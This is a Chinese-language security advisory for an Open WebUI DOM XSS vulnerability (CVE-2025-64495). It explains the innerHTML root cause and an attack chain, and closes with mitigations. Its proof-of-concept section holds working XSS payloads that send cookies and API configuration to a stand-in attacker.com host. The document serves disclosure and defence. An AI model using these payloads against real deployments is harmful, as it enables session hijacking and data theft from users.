IPBUF安全漏洞报告
English
CVE-2025-64495 CVSS 8.7 高危

CVE-2025-64495 Open WebUI DOM XSS漏洞导致高危跨站脚本攻击

披露日期: 2025-11-08

漏洞信息

漏洞编号
CVE-2025-64495
漏洞类型
DOM XSS (跨站脚本攻击)
CVSS评分
8.7 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Open WebUI

相关标签

DOM XSS跨站脚本Open WebUICVE-2025-64495innerHTML注入富文本编辑器漏洞前端安全GitHub安全公告

漏洞概述

Open WebUI是一个自托管的人工智能平台,设计用于完全离线运行。该平台在0.6.34及以下版本中存在严重的DOM型跨站脚本(DOM XSS)漏洞。当用户启用"Insert Prompt as Rich Text"(将提示作为富文本插入)功能时,系统将自定义提示内容直接赋值给DOM的innerHTML属性而未进行任何安全过滤或转义处理。攻击者只需要拥有创建提示的低权限即可利用此漏洞,在提示中植入恶意JavaScript代码。当其他用户通过/命令调用该提示时,恶意代码将在受害者浏览器中执行,可能导致会话劫持、敏感信息窃取、钓鱼攻击等严重安全后果。由于该平台通常部署在企业内部网络用于AI交互,攻击成功可造成大范围的数据泄露和横向移动风险。

技术细节

漏洞根源在于Open WebUI的RichTextInput.svelte组件第348行附近存在不安全的数据流。具体来说,用户创建的提示内容通过.innerHTML直接插入到DOM中,而非使用.textContent或经过HTML净化处理。这种模式允许攻击者构造包含<script>标签或事件处理器(如onerror、onload)的恶意提示。例如,攻击者可以创建名为XSS Payload的提示,内容为<img src=x onerror=alert(document.cookie)>。当其他用户执行/insert xss命令时,该HTML片段会被直接渲染,触发onerror事件执行任意JavaScript代码。由于.innerHTML不会执行HTML实体编码,常见的XSS过滤器无法防御此类攻击。攻击者可利用此漏洞窃取用户会话令牌、伪造UI界面或执行特权操作。修复方案采用textContent代替innerHTML,或使用DOMPurify等库进行HTML清理。

攻击链分析

STEP 1
侦察阶段
攻击者注册Open WebUI账号并获取创建提示的权限(低权限即可)
STEP 2
载荷构造
攻击者创建包含恶意JavaScript代码的提示,启用富文本模式,使用<img>、<script>或事件处理器等构造XSS载荷
STEP 3
等待触发
攻击者等待或诱使其他用户(如管理员)使用/命令插入该恶意提示
STEP 4
漏洞触发
当受害用户执行/insert <prompt_name>命令时,RichTextInput.svelte组件将提示内容通过innerHTML直接写入DOM
STEP 5
代码执行
恶意HTML被浏览器解析,onerror等事件处理器触发或script标签执行,JavaScript代码在受害者浏览器上下文中运行
STEP 6
数据窃取
攻击者通过fetch API将受害者的cookie、会话令牌、API配置等敏感信息外传到攻击者控制的服务器
STEP 7
权限提升
利用窃取的凭证进行横向移动或执行更高权限操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-64495 DOM XSS PoC for Open WebUI // Steps to reproduce: // 1. Create a new prompt with malicious content // 2. Enable 'Insert Prompt as Rich Text' setting // 3. Another user inserts the prompt via /command // 4. XSS payload executes in victim's browser // Malicious prompt content (insert as Rich Text): const maliciousPayload = ` <img src=x onerror=" // Steal session cookies fetch('https://attacker.com/steal?cookie=' + btoa(document.cookie)); // Or execute more complex JavaScript fetch('/api/config').then(r=>r.json()).then(data=>{ fetch('https://attacker.com/exfil?data=' + btoa(JSON.stringify(data))); }); "> `; // Alternative payload using script tag: const scriptPayload = `<script> // Cookie theft document.location='https://attacker.com/log?c='+document.cookie; </script>`; // Alternative payload using event handlers: const eventPayload = `<body onload="fetch('https://attacker.com/pwned')">`; // Exploitation scenario: // 1. Attacker with prompt creation permission creates prompt with above payload // 2. Victim views chat and uses /insert <prompt_name> command // 3. innerHTML renders the payload without sanitization // 4. JavaScript executes in victim's session context

影响范围

Open WebUI <= 0.6.34

防御指南

临时缓解措施
立即升级Open WebUI至0.6.35版本以修复该漏洞。临时缓解措施包括:1)禁用"Insert Prompt as Rich Text"功能;2)审查并删除所有包含可疑HTML标签的提示;3)限制用户创建提示的权限;4)实施严格的CSP策略阻止内联脚本执行;5)监控API访问日志关注异常的数据外传请求。由于该漏洞需要用户交互触发,建议优先升级并通知用户不要点击来源不明的提示命令。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表